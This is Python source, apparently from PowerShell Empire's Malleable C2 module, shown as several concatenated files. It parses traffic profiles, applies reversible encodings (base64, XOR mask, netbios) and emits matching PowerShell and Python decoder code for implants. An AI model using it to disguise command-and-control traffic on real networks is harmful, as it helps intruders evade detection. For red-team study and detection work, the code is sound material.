572 elif terminator.type == Terminator.PRINT:
573 data = self.body
574 return data
575
576 class Transaction(MalleableObject):
577 """A class housing the core components of an interaction between a web client request and
578 a web server response.
579
580 Attributes:
581 client (MalleableRequest): Client object containing client request attributes.
582 server (MalleableResponse): Server object containing server response attributes.
583 """
584
585 def _defaults(self):
586 """Default initialization for the Transaction object."""
587 super(Transaction, self)._defaults()
588 self.client = Transaction.Client()
589 self.server = Transaction.Server()
590
591 def _clone(self):
592 """Deep copy of the Transaction object.
593
594 Returns:
595 Transaction
596 """
597 new = super(Transaction, self)._clone()
598 new.client = self.client._clone()
599 new.server = self.server._clone()
600 return new
601
602 def _serialize(self):
603 """Serialize the Transaction object.
604
605 Returns:
606 dict (str, obj)
607 """
608 return dict(list(super(Transaction, self)._serialize().items()) + list({
609 "client" : self.client._serialize(),
610 "server" : self.server._serialize()
611 }.items()))
612
613 @classmethod
614 def _deserialize(cls, data):
615 """Deserialize data into a Transaction object.
616
617 Args:
618 data (str): Serialized data (json)
619
620 Returns:
621 Transaction object
622 """
623 transaction = super(Transaction, cls)._deserialize(data)
624 if data:
625 transaction.client = Transaction.Client._deserialize(data["client"]) if "client" in data else Transaction.Client()
626 transaction.server = Transaction.Server._deserialize(data["server"]) if "server" in data else Transaction.Server()
627 return transaction
628
629 @classmethod
630 def _pattern(cls):
631 """Define the pattern to recognize a Transaction object while parsing a file.
632
633 Returns:
634 pyparsing object
635 """
636 return Group(Suppress("{") + ZeroOrMore(
637 cls.COMMENT |
638 (Literal("set") + Group(cls.FIELD + cls.VALUE) + cls.SEMICOLON) |
639 cls.Client._pattern() |
640 cls.Server._pattern()
641 ) + Suppress("}"))
642
643 def _parse(self, data):
644 """Store the information from a parsed pyparsing result.
645
646 Args:
647 data: pyparsing data
648 """
649 if data:
650 for i in range(0, len(data), 2):
651 item = data[i]
652 arg = data[i+1] if len(data) > i+1 else None
653 if item and arg:
654 if item.lower() == "set" and len(arg) > 1:
655 key, value = arg[0], arg[1]
656 if key and value:
657 if key.lower() == "uri":
658 for u in value.split():
659 self.client.uri(u)
660 elif key.lower() == "uri_x86":
661 for u in value.split():
662 self.client.uri(u, x86=True)
663 elif key.lower() == "uri_x64":
664 for u in value.split():
665 self.client.uri(u, x64=True)
666 else:
667 setattr(self, key, value)
668 elif item.lower() == "client":
669 self.client._parse(arg)
670 elif item.lower() == "server":
671 self.server._parse(arg)
672
673 @property
674 def verb(self):
675 """Getter for the verb attribute.
676
677 Returns:
678 verb (str)
679 """
680 return self.client.verb
681
682 @verb.setter
683 def verb(self, verb):
684 """Setter for the verb attribute.
685
686 Note: verb actually lives in the client, this is here for compatibility.
687
688 Args:
689 verb (str)
690 """
691 self.client.verb = verb
692
693 class Client(MalleableRequest):
694 """A class housing the core components of a web client request.
695
696 Attributes:
697 uris (list (str)): Uris to which client traffic will be directed.
698 uris_x86 (list (str)): x86-only uris to which client traffic will be directed.
699 uris_x64 (list (str)): x64-only uris to which client traffic will be directed.
700 """
701
702 def _defaults(self):
703 """Default initialization for the Client object."""
704 super(Transaction.Client, self)._defaults()
705 self.uris = []
706 self.uris_x86 = []
707 self.uris_x64 = []
708
709 def _clone(self):
710 """Deep copy of the Client object.
711
712 Returns:
713 Client
714 """
715 new = super(Transaction.Client, self)._clone()
716 new.uris = [u for u in self.uris]
717 new.uris_x86 = [u for u in self.uris_x86]
718 new.uris_x64 = [u for u in self.uris_x64]
719 return new
720
721 def _serialize(self):
722 """Serialize the Client object.
723
724 Returns:
725 dict (str, obj)
726 """
727 return dict(list(super(Transaction.Client, self)._serialize().items()) + list({
728 "uris" : self.uris,
729 "uris_x86" : self.uris_x86,
730 "uris_x64" : self.uris_x64
731 }.items()))
732
733 @classmethod
734 def _deserialize(self, data):
735 """Deserialize data into a Client object.
736
737 Args:
738 data (str): Serialized data (json)
739
740 Returns:
741 Client object
742 """
743 client = super(Transaction.Client, self)._deserialize(data)
744 if data:
745 client.uris = data["uris"] if "uris" in data else []
746 client.uris_x86 = data["uris_x86"] if "uris_x86" in data else []
747 client.uris_x64 = data["uris_x64"] if "uris_x64" in data else []
748 return client
749
750 @classmethod
751 def _pattern(cls):
752 """Define the pattern to recognize a Transaction Client object while parsing a file.
753
754 Returns:
755 pyparsing object
756 """
757 return Literal("client") + super(Transaction.Client, cls)._pattern()
758
759 def stringify(self):
760 """Serialize into a string compatible with Powershell Empire."""
761 return "|".join([
762 ",".join(self.uris if self.uris else ["/"]),
763 str(self.get_header("User-Agent"))
764 ] + [":".join([h,v]) for h,v in self.headers.items() if h.lower() != "user-agent"])
765
766 def uri(self, uri, x86=False, x64=False):
767 """Add a uri to the list of uris
768
769 Args:
770 uri (str)
771 """
772 self.uris = list(set(self.uris).union(set([uri])))
773 if x86:
774 self.uris_x86 = list(set(self.uris_x86).union(set([uri])))
775 if x64:
776 self.uris_x64 = list(set(self.uris_x64).union(set([uri])))
777
778 def random_uri(self, x86=False, x64=False, default="/"):
779 """Returns a random uri from the list.
780
781 Args:
782 x86 (bool, optional): Only include x86 uris
783 x64 (bool, optional): Only include x64 uris
784 default (str, optional): Default uri to use if list is empty
785 """
786 if x86 and x64:
787 uris = self.uris
788 elif x86:
789 uris = self.uris_x86
790 elif x64:
791 uris = self.uris_x64
792 else:
793 uris = self.uris
794 return (random.choice(uris) if uris else default)
795
796 class Server(MalleableResponse):
797 """A class housing the core components of a web server response."""
798
799 @classmethod
800 def _pattern(cls):
801 """Define the pattern to recognize a Transaction Server object while parsing a file.
802
803 Returns:
804 pyparsing object
805 """
806 return Literal("server") + super(Transaction.Server, cls)._pattern()
0
1 from __future__ import absolute_import
2 import os, base64, six.moves.urllib.request, six.moves.urllib.parse, six.moves.urllib.error
3 from pyparsing import *
4 from .utility import MalleableError, MalleableUtil, MalleableObject
5 from six.moves import range
6 import ast
7
8 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
9 # TRANSFORMATION
10 #
11 # Defining the model through which arbitrary data can undergo
12 # reversable transformations.
13 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
14
15 class Transform(MalleableObject):
16 """A class housing the arbitrary functionality of a reversable transformation.
17
18 Attributes:
19 type (int): Type of Transform to implement.
20 arg (str): Argument to pass to the implementation.
21
22 Functions:
23 transform (func): Execute the forward transformation on an arbitrary string.
24 Args:
25 data (str): The data to be transformed.
26 Returns:
27 str: The transformed data.
28 transform_r (func): Execute the reverse transformation on an arbitrary string.
29 Args:
30 data (str): The data to be transformed.
31 Returns:
32 str: The transformed data.
33 generate_python (func): Generate the python code that would execute the
34 transformation on an arbitrary string using the given variable name.
35 Args:
36 var (str): The variable name to be used in the code.
37 Returns:
38 str: The python code that would execute the transformation on an arbitrary
39 string.
40 generate_python_r (func): Generate the python code that would execute the
41 reverse transformation on an arbitrary string using the given variable name.
42 Args:
43 var (str): The variable name to be used in the code.
44 Returns:
45 str: The python code that would execute the reverse transformation on an
46 arbitrary string.
47 generate_powershell (func): Generate the powershell code that would execute the
48 transformation on an arbitrary string using the given variable name.
49 Args:
50 var (str): The variable name to be used in the code.
51 Returns:
52 str: The powershell code that would execute the transformation on an arbitrary
53 string.
54 generate_powershell_r (func): Generating the powershell code that would
55 execute the reverse transformation on an arbitrary string using the given variable name.
56 Args:
57 var (str): The variable name to be used in the code.
58 Returns:
59 str: The powershell code that would execute the reverse transformation on an
60 arbitrary string.
61 """
62 NONE = 0
63 APPEND = 1
64 BASE64 = 2
65 BASE64URL = 3
66 MASK = 4
67 NETBIOS = 5
68 NETBIOSU = 6
69 PREPEND = 7
70
71 def __init__(self, type=0, arg=None):
72 """Constructor for a Transform object.
73
74 Args:
75 type (int, optional): Choose the type of Transform to implement.
76 arg (str, optional): Argument to pass to the implementation.
77 """
78 self.type = type
79 self.arg = arg
80 super(Transform, self).__init__()
81
82 def _defaults(self):
83 """Default initialization for the Transform object."""
84 super(Transform, self)._defaults()
85 self.apply_transform(self.type, self.arg)
86
87 def _clone(self):
88 """Deep copy of a Transform object.
89
90 Returns:
91 Transform object
92 """
93 new = super(Transform, self)._clone()
94 new.type = self.type
95 new.arg = self.arg
96 new.apply_transform(new.type, new.arg)
97 return new
98
99 def _serialize(self):
100 """Serialize the Transform object.
101
102 Returns:
103 dict (str, obj)
104 """
105 return dict(list(super(Transform, self)._serialize().items()) + list({
106 "type" : self.type,
107 "arg" : self.arg if self.type != Transform.MASK else MalleableUtil.to_hex(self.arg[0])
108 }.items()))
109
110 @classmethod
111 def _deserialize(cls, data):
112 """Deserialize data into a Transform object.
113
114 Args:
115 dict (str, obj): Serialized data (json)
116
117 Returns:
118 Transform object
119 """
120 transform = super(Transform, cls)._deserialize(data)
121 if data:
122 transform.type = data["type"] if "type" in data else Transform.NONE
123 transform.arg = (data["arg"] if transform.type != Transform.MASK else MalleableUtil.from_hex(data["arg"])) if "arg" in data else None
124 transform.apply_transform(transform.type, transform.arg)
125 return transform
126
127 @classmethod
128 def _pattern(cls):
129 """Define the pattern to recognize a Transform object while parsing a file.
130
131 Returns:
132 pyparsing object
133 """
134 return (
135 Group(Literal("append") + cls.VALUE) |
136 Group(Literal("base64url")) |
137 Group(Literal("base64")) |
138 Group(Literal("mask")) |
139 Group(Literal("netbiosu")) |
140 Group(Literal("netbios")) |
141 Group(Literal("prepend") + cls.VALUE)
142 ) + cls.SEMICOLON
143
144 def apply_transform(self, type, arg):
145 """Apply the appropriate transformation to the Transform object.
146
147 Args:
148 type (int): Type of Transform to implement.
149 arg (str): Argument to pass to the implementation.
150 """
151 if type == Transform.APPEND: self._append(arg)
152 elif type == Transform.BASE64: self._base64()
153 elif type == Transform.BASE64URL: self._base64url()
154 elif type == Transform.MASK: self._mask(arg)
155 elif type == Transform.NETBIOS: self._netbios()
156 elif type == Transform.NETBIOSU: self._netbiosu()
157 elif type == Transform.PREPEND: self._prepend(arg)
158 else: self._none()
159
160 def _none(self):
161 """Configure the `none` Transform, which does nothing."""
162 self.transform = lambda data: data,
163 self.transform_r = lambda data: data,
164 self.generate_python = lambda var: "",
165 self.generate_python_r = lambda var: "",
166 self.generate_powershell = lambda var: "",
167 self.generate_powershell_r = lambda var: ""
168
169 def _append(self, string):
170 """Configure the `append` Transform, which appends a static string to an arbitrary input.
171
172 Args:
173 string (str): The static string to be appended.
174
175 Raises:
176 MalleableError: If `string` is null.
177 """
178 if string is None:
179 MalleableError.throw(Transform.__class__, "append", "string argument must not be null")
180
181 self.transform = lambda data: append_transform(string, data)
182 self.transform_r = lambda data: append_transform_r(string, data)
183
184 def append_transform(string, data):
185 if isinstance(string, str):
186 string = string.encode('latin-1')
187 if isinstance(data, str):
188 data = data.encode('latin-1')
189 r = data + string
190 return r
191
192 def append_transform_r(string, data):
193 if isinstance(string, str):
194 string = string.encode('latin-1')
195 if isinstance(data, str):
196 data = data.encode('latin-1')
197 return data[:-len(string)]
198
199 self.generate_python = lambda var: "%(var)s+=b'%(string)s'\n" % {"var":var, "string":string}
200 self.generate_python_r = lambda var: "%(var)s=%(var)s[:-%(len)i]\n" % {"var":var, "len":len(string)}
201 self.generate_powershell = lambda var: "%(var)s+='%(string)s';" % {"var":var, "string":string}
202 self.generate_powershell_r = lambda var: "%(var)s=%(var)s.Substring(0,%(var)s.Length-%(len)i);" % {"var":var, "len":len(string)}
203
204 def _base64(self):
205 """Configure the `base64` Transform, which base64 encodes an arbitrary input."""
206 self.transform = lambda data: base64.b64encode(data)
207 self.transform_r = lambda data: base64.b64decode(data)
208 self.generate_python = lambda var: "%(var)s=base64.b64encode(%(var)s)\n" % {"var":var}
209 self.generate_python_r = lambda var: "%(var)s=base64.b64decode(%(var)s)\n" % {"var":var}
210 self.generate_powershell = lambda var: "%(var)s=[Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes(%(var)s));" % {"var":var}
211 self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(%(var)s));" % {"var":var}
212
213 def _base64url(self):
214 """Configure the `base64url` Transform, which base64 encodes an arbitary input using url-safe characters."""
215 self.transform = lambda data: base64url_transform(data)
216 self.transform_r = lambda data: base64url_transform_r(data)
217
218 def base64url_transform(data):
219 if isinstance(data, str):
220 data = data.encode("latin-1")
221 r = six.moves.urllib.parse.quote(base64.b64encode(data))
222 return r.encode('Latin-1')
223
224 def base64url_transform_r(data):
225 if isinstance(data, str):
226 data = data.encode("latin-1")
227 # Fix missing padding issue (Error parsing routing packet not fixed)
228 missing_padding = len(data) % 4
229 if missing_padding:
230 data += b'=' * (4 - missing_padding)
231 r = base64.b64decode(six.moves.urllib.parse.unquote_to_bytes(data))
232 return r
233
234 self.generate_python = lambda var: "%(var)s=urllib.quote(base64.b64encode(%(var)s))\n" % {"var":var}
235 self.generate_python_r = lambda var: "%(var)s=base64.b64decode(urllib.unquote(%(var)s))\n" % {"var":var}
236 self.generate_powershell = lambda var: "Add-Type -AssemblyName System.Web;%(var)s=[System.Web.HttpUtility]::UrlEncode([System.Convert]::ToBase64string([System.Text.Encoding]::Default.GetBytes(%(var)s)));" % {"var":var}
237 self.generate_powershell_r = lambda var: "Add-Type -AssemblyName System.Web;%(var)s=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String([System.Web.HttpUtility]::UrlDecode(%(var)s)));" % {"var":var}
238
239 def _mask(self, key):
240 """Configure the `mask` Transform, which encodes an arbitrary input using the XOR operation
241 and a random key.
242
243 Args:
244 key (str): The key with which to encode / decode.
245
246 Raises:
247 MalleableError: If `key` is null or empty.
248 """
249 if isinstance(key, str):
250 key = bytearray.fromhex(key).decode()
251 key = key.encode('latin-1')
252
253 if not key:
254 MalleableError.throw(Transform.__class__, "mask", "key argument must not be empty")
255 self.transform = lambda data: mask_transform(data, key)
256
257 def mask_transform(data, key):
258 if isinstance(data, str):
259 data = data.encode('latin-1')
260 r = "".join([chr(c ^ key[0]) for c in data])
261 return r.encode('Latin-1')
262
263 self.transform_r = self.transform
264 self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(f_ord(_)^%(key)s) for _ in %(var)s])\n" % {"key":ord(key[0]), "var":var}
265 self.generate_python_r = self.generate_python
266 self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){[System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -bxor %(key)s}));" % {"key":key[0], "var":var}
267 self.generate_powershell_r = self.generate_powershell
268
269 def _netbios(self):
270 """Configure the `netbios` Transform, which encodes an arbitrary input using the lower-case
271 netbios algorithm."""
272 self.transform = lambda data: netbios_transform(data)
273 self.transform_r = lambda data: netbios_transform_r(data)
274
275 def netbios_transform(data):
276 if isinstance(data, str):
277 data = data.encode('latin-1')
278 r = "".join([chr((c>>4)+0x61)+chr((c&0xF)+0x61) for c in data])
279 return r.encode('latin-1')
280
281 def netbios_transform_r(data):
282 if isinstance(data, str):
283 data = data.encode('latin-1')
284 r = "".join([chr(((data[i]-0x61)<<4)|((data[i+1]-0x61)&0xF)) for i in range(0, len(data), 2)])
285 return r.encode('latin-1')
286
287 self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x61)+chr((f_ord(_)&0xF)+0x61) for _ in %(var)s])\n" % {"var":var}
288 self.generate_python_r = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x61)<<4)|((f_ord(%(var)s[_+1])-0x61)&0xF)) for _ in range(0,len(%(var)s),2)])\n" % {"var":var}
289 self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -shr 4)+97;([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -band 15)+97;}));" % {"var":var}
290 self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_+=2){(([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_]-97) -shl 4) -bor (([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_+1]-97) -band 15);}));" % {"var":var}
291
292 def _netbiosu(self):
293 """Configure the `netbiosu` Transform, which encodes an arbitrary input using the upper-case
294 netbios algorithm."""
295 self.transform = lambda data: netbios_transform(data)
296 self.transform_r = lambda data: netbios_transform_r(data)
297
298 def netbios_transform(data):
299 if isinstance(data, str):
300 data = data.encode('latin-1')
301 r = "".join([chr((c>>4)+0x41)+chr((c&0xF)+0x41) for c in data])
302 return r.encode('latin-1')
303
304 def netbios_transform_r(data):
305 if isinstance(data, str):
306 data = data.encode('latin-1')
307 r = "".join([chr(((data[i]-0x41)<<4)|((data[i+1]-0x41)&0xF)) for i in range(0, len(data), 2)])
308 return r.encode('latin-1')
309
310 self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x41)+chr((f_ord(_)&0xF)+0x41) for _ in %(var)s])\n" % {"var":var}
311 self.generate_python_r = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x41)<<4)|((f_ord(%(var)s[_+1])-0x41)&0xF)) for _ in range(0,len(%(var)s),2)])\n" % {"var":var}
312 self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -shr 4)+65;([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -band 15)+65;}));" % {"var":var}
313 self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_+=2){(([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_]-65) -shl 4) -bor (([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_+1]-65) -band 15);}));" % {"var":var}
314
315 def _prepend(self, string):
316 """Configure the `prepend` Transform, which prepends a static string to an arbitrary input.
317
318 Args:
319 string (str): The static string to be prepended.
320
321 Raises:
322 MalleableError: If `string` is null.
323 """
324 if string is None:
325 MalleableError.throw(Transform.__class__, "prepend", "string argument must not be null")
326
327 self.transform = lambda data: prepend_transform(string, data)
328 self.transform_r = lambda data: prepend_transform_r(string, data)
329
330 def prepend_transform(string, data):
331 if isinstance(string, str):
332 string = string.encode('latin-1')
333 if isinstance(data, str):
334 data = data.encode('latin-1')
335 r = string + data
336 return r
337
338 def prepend_transform_r(string, data):
339 if isinstance(string, str):
340 string = string.encode('latin-1')
341 if isinstance(data, str):
342 data = data.encode('latin-1')
343 return data[len(string):]
344
345 self.generate_python = lambda var: "%(var)s=b'%(string)s'+%(var)s\n" % {"var":var, "string":string}
346 self.generate_python_r = lambda var: "%(var)s=%(var)s[%(len)i:]\n" % {"var":var, "len":len(string)}
347 self.generate_powershell = lambda var: "%(var)s='%(string)s'+%(var)s;" % {"var":var, "string":string}
348 self.generate_powershell_r = lambda var: "%(var)s=%(var)s.substring(%(len)i,%(var)s.Length-%(len)i);" % {"var":var, "len":len(string)}
349
350 class Terminator(MalleableObject):
351 """A class housing the arbitrary functionality of a reversable data storage mechanism.
352
353 The Terminator defines where data is stored after completing a Transform sequence and where
354 to retrieve data before starting a reverse Transform sequence.
355
356 Attributes:
357 type (int): Type of Terminator to implement.
358 arg (str): Argument to pass to the implementation.
359 """
360 NONE = 0
361 PRINT = 1
362 HEADER = 2
363 PARAMETER = 3
364 URIAPPEND = 4
365
366 def __init__(self, type=1, arg=None):
367 """Constructor for a Terminator object
368
369 Args:
370 type (int, optional): Type of Terminator to implement.
371 arg (str, optional): Argument to pass to the implementation.
372 """
373 self.type = type
374 self.arg = arg
375 super(Terminator, self).__init__()
376
377 def _clone(self):
378 """Deep copy of a Terminator object.
379
380 Returns:
381 Terminator
382 """
383 new = super(Terminator, self)._clone()
384 new.type = self.type
385 new.arg = self.arg
386 return new
387
388 def _serialize(self):
389 """Serialize the Terminator object.
390
391 Returns:
392 dict (str, obj)
393 """
394 return dict(list(super(Terminator, self)._serialize().items()) + list({
395 "type" : self.type,
396 "arg" : self.arg
397 }.items()))
398
399 @classmethod
400 def _deserialize(cls, data):
401 """Deserialize data into a Terminator object.
402
403 Args:
404 dict (str, obj): Serialized data (json)
405
406 Returns:
407 Terminator object
408 """
409 terminator = super(Terminator, cls)._deserialize(data)
410 if data:
411 terminator.type = data["type"] if "type" in data else Terminator.NONE
412 terminator.arg = data["arg"] if "arg" in data else None
413 return terminator
414
415 @classmethod
416 def _pattern(cls):
417 """Define the pattern to recognize a Terminator object while parsing a file.
418
419 Returns:
420 pyparsing object
421 """
422 return (
423 Group(Literal("header") + cls.VALUE) |
424 Group(Literal("parameter") + cls.VALUE) |
425 Group(Literal("print")) |
426 Group(Literal("uri-append"))
427 ) + cls.SEMICOLON
428
429 class Container(MalleableObject):
430 """A class housing a sequence of Transforms.
431
432 Once initialized, a Container object can be used in the following ways:
433 - Add a Transform to the existing sequence.
434 - Assign a Terminator to the Transform sequence.
435 - Execute the sequence of Transforms.
436
437 Attributes:
438 transforms (list (Transform))
439 terminator (Terminator)
440 """
441
442 def _defaults(self):
443 """Default initialization for the Container object."""
444 super(Container, self)._defaults()
445 self.transforms = []
446 self.terminator = Terminator()
447
448 def _clone(self):
449 """Deep copy of the Container object.
450
451 Returns:
452 Container
453 """
454 new = super(Container, self)._clone()
455 new.transforms = [t._clone() for t in self.transforms]
456 new.terminator = self.terminator._clone()
457 return new
458
459 def _serialize(self):
460 """Serialize the Container object.
461
462 Returns:
463 dict (str, obj): Serialized data (json)
464 """
465 return dict(list(super(Container, self)._serialize().items()) + list({
466 "transforms" : [t._serialize() for t in self.transforms],
467 "terminator" : self.terminator._serialize()
468 }.items()))
469
470 @classmethod
471 def _deserialize(cls, data):
472 """Deserialize data into a Container object.
473
474 Args:
475 dict (str, obj): Serialized data (json)
476
477 Returns:
478 Container object
479 """
480 container = super(Container, cls)._deserialize(data)
481 if data:
482 container.transforms = [Transform._deserialize(d) for d in data["transforms"]] if "transforms" in data else []
483 container.terminator = Terminator._deserialize(data["terminator"]) if "terminator" in data else Terminator()
484 return container
485
486 @classmethod
487 def _pattern(cls):
488 """Define the pattern to recognize a Container object while parsing a file.
489
490 Returns:
491 pyparsing object
492 """
493 return (cls.FIELD + Group(Suppress("{") + ZeroOrMore(
494 cls.COMMENT |
495 Transform._pattern() |
496 Terminator._pattern()
497 ) + Suppress("}")))
498
499 def _parse(self, data):
500 """Store the information from a parsed pyparsing result.
501
502 Args:
503 data: pyparsing data
504 """
505 if data:
506 for item in [d for d in data if d]:
507 type = item[0]
508 arg = item[1] if len(item) > 1 else None
509 if type:
510 type = type.lower()
511 if type == "append": self.append(arg)
512 elif type == "base64": self.base64()
513 elif type == "base64url": self.base64url()
514 elif type == "mask": self.mask()
515 elif type == "netbios": self.netbios()
516 elif type == "netbiosu": self.netbiosu()
517 elif type == "prepend": self.prepend(arg)
518
519 elif type == "print": self.print_()
520 elif type == "header": self.header(arg)
521 elif type == "parameter": self.parameter(arg)
522 elif type == "uri-append": self.uriappend()
523
524 def append(self, string):
525 """Add the `append` Transform to the Container's Transform sequence.
526
527 Args:
528 string (str): The static string to be appended.
529 """
530 self.transforms.append(Transform(type=Transform.APPEND, arg=string))
531
532 def base64(self):
533 """Add the `base64` Transform to the Container's Transform sequence."""
534 self.transforms.append(Transform(type=Transform.BASE64))
535
536 def base64url(self):
537 """Add the `base64url` Transform to the Container's Transform sequence."""
538 self.transforms.append(Transform(type=Transform.BASE64URL))
539
540 def mask(self, key=None):
541 """Add the `mask` Transform to the Container's Transform sequence.
542
543 Args:
544 key (str, optional): The key with which to encode / decode.
545 """
546 if not key:
547 key = os.urandom(1)
548 while (ord(key) < 0 or ord(key) > 127): key = os.urandom(1) # Requirement for powershell
549 self.transforms.append(Transform(type=Transform.MASK, arg=key))
550
551 def netbios(self):
552 """Add the `netbios` Transform to the Container's Transform sequence."""
553 self.transforms.append(Transform(type=Transform.NETBIOS))
554
555 def netbiosu(self):
556 """Add the `netbiosu` Transform to the Container's Transform sequence."""
557 self.transforms.append(Transform(type=Transform.NETBIOSU))
558
559 def prepend(self, string):
560 """Add the `prepend` Transform to the Container's Transform sequence.
561
562 Args:
563 string (str): The static string to be prepended.
564 """
565 self.transforms.append(Transform(type=Transform.PREPEND, arg=string))
566
567 def print_(self):
568 """Specify that the data be stored in the request body after transformation."""
569 self.terminator = Terminator(type=Terminator.PRINT)
570
571 def header(self, header):
572 """Use the specified header to store the data after transformation.
573
574 Args:
575 header (str)
576
577 Rasie:
578 MalleableError: If `header` is empty.
579 """
580 if not header:
581 MalleableError.throw(Container, "header", "argument must not be null")
582 self.terminator = Terminator(type=Terminator.HEADER, arg=header)
583
584 def parameter(self, parameter):
585 """Use the specified parameter to store the data after transformation.
586
587 Args:
588 parameter (str)
589
590 Rasie:
591 MalleableError: If `parameter` is empty.
592 """
593 if not parameter:
594 MalleableError.throw(Container, "parameter", "argument must not be null")
595 self.terminator = Terminator(type=Terminator.PARAMETER, arg=parameter)
596
597 def uriappend(self):
598 """Specify that the data append to the uri after transformation."""
599 self.terminator = Terminator(type=Terminator.URIAPPEND)
600
601 def transform(self, data):
602 """Transform the provided data using the sequence of Transforms.
603
604 Args:
605 data (str): The data to be transformed.
606
607 Returns:
608 str: The transformed data.
609 """
610 if data is None: data = ""
611 if isinstance(data, str):
612 if ("b'" or 'b"') in data[:2]:
613 data = data[2:-1]
614 data = data.encode("latin-1")
615 if (b"b'" or b'b"') in data[:2]:
616 data = data[2:-1]
617 for t in self.transforms:
618 data = t.transform(data)
619 return data
620
621 def transform_r(self, data):
622 """Transform the provided data using the sequence of Transforms in reverse.
623
624 Args:
625 data (str): The data to be reverse-transformed.
626
627 Returns:
628 str: The reverse-transformed data.
629 """
630 if data is None: data = ""
631 if isinstance(data, str):
632 if ("b'" or 'b"') in data[:2]:
633 data = data[2:-1]
634 data = data.encode("latin-1")
635 if (b"b'" or b'b"') in data[:2]:
636 data = data[2:-1]
637 for t in self.transforms[::-1]:
638 data = t.transform_r(data)
639 return data
640
641 def generate_python(self, var):
642 """Generate python code that would transform arbitrary data using the sequence
643 of Transforms.
644
645 Args:
646 var (str): The variable name to be used in the python code.
647
648 Returns:
649 str: The python code.
650
651 Raises:
652 MalleableError: If `var` is empty.
653 """
654 if not var:
655 MalleableError.throw(Container, "generate_python", "var must not be empty")
656 code = ""
657 for t in self.transforms:
658 code += t.generate_python(var)
659 return code
660
661 def generate_python_r(self, var):
662 """Generate python code that would transform arbitrary data using the sequence
663 of Transforms in reverse.
664
665 Args:
666 var (str): The variable name to be used in the python code.
667
668 Returns:
669 str: The python code.
670
671 Raises:
672 MalleableError: If `var` is empty.
673 """
674 if not var:
675 MalleableError.throw(Container, "generate_python_r", "var must not be empty")
676 code = ""
677 for t in self.transforms[::-1]:
678 code += t.generate_python_r(var)
679 return code
680
681 def generate_powershell(self, var):
682 """Generate powershell code that would transform arbitrary data using the sequence
683 of Transforms.
684
685 Args:
686 var (str): The variable name to be used in the powershell code.
687
688 Returns:
689 str: The powershell code.
690
691 Raises:
692 MalleableError: If `var` is empty.
693 """
694 if not var:
695 MalleableError.throw(Container, "generate_powershell", "var must not be empty")
696 code = ""
697 for t in self.transforms:
698 code += t.generate_powershell(var)
699 return code
700
701 def generate_powershell_r(self, var):
702 """Generate powershell code that would transform arbitrary data using the sequence
703 of Transforms in reverse.
704
705 Args:
706 var (str): The variable name to be used in the powershell code.
707
708 Returns:
709 str: The powershell code.
710
711 Raises:
712 MalleableError: If `var` is empty.
713 """
714 if not var:
715 MalleableError.throw(Container, "generate_powershell_r", "var must not be empty")
716 code = ""
717 for t in self.transforms[::-1]:
718 code += t.generate_powershell_r(var)
719 return code
0 from __future__ import absolute_import
1 from pyparsing import *
2 import binascii
3
4 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
5 # UTILITY
6 #
7 # Defining helper functionality to optimize code quality.
8 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
9
10 class MalleableError(Exception):
11 """Custom exception class used to identify local exceptions."""
12
13 @classmethod
14 def throw(cls, clss, func, message):
15 """Throw a MalleableError.
16
17 Args:
18 clss (class): The class containing the exception.
19 func (str): The function in which the exception occurred.
20 message (str): A description of the exception.
21
22 Raises:
23 MalleableError: When called.
24 """
25 raise (cls("%s::%s - %s" % (clss.__name__, func, message)))
26
27
28 class MalleableUtil(object):
29 """Custom utility class used to provide helper functionality."""
30
31 @staticmethod
32 def to_hex(byte):
33 """Convert a byte into a hex character.
34
35 Args:
36 byte (char)
37
38 Returns:
39 str: Byte as a hex character.
40 """
41 if isinstance(byte, str):
42 byte = int(byte)
43 return_hex = bytes([byte]).hex()
44 return return_hex if byte else None
45
46 @staticmethod
47 def from_hex(hex):
48 """Convert a hex character into a byte.
49
50 Args:
51 hex (str): A single hex character.
52
53 Returns:
54 char: byte.
55 """
56 if isinstance(hex, bytes):
57 hex = hex.decode('latin-1')
58 if hex:
59 r = bytes.fromhex(hex)
60 else:
61 r = None
62 return r
63
64 class MalleableObject(object):
65 """Custom object class used to implement consistent functionality."""
66
67 SEMICOLON = Suppress(";")
68 FIELD = Word(alphanums + "_-")
69 VALUE = (QuotedString("\"", escChar="\\") | QuotedString("'", escChar="\\"))
70 COMMENT = Suppress("#") + Suppress(restOfLine)
71
72 def __init__(self):
73 """Constructor for a Malleable object."""
74 self._defaults()
75
76 def _defaults(self):
77 """Default initialization for a Malleable object."""
78 pass
79
80 def _clone(self):
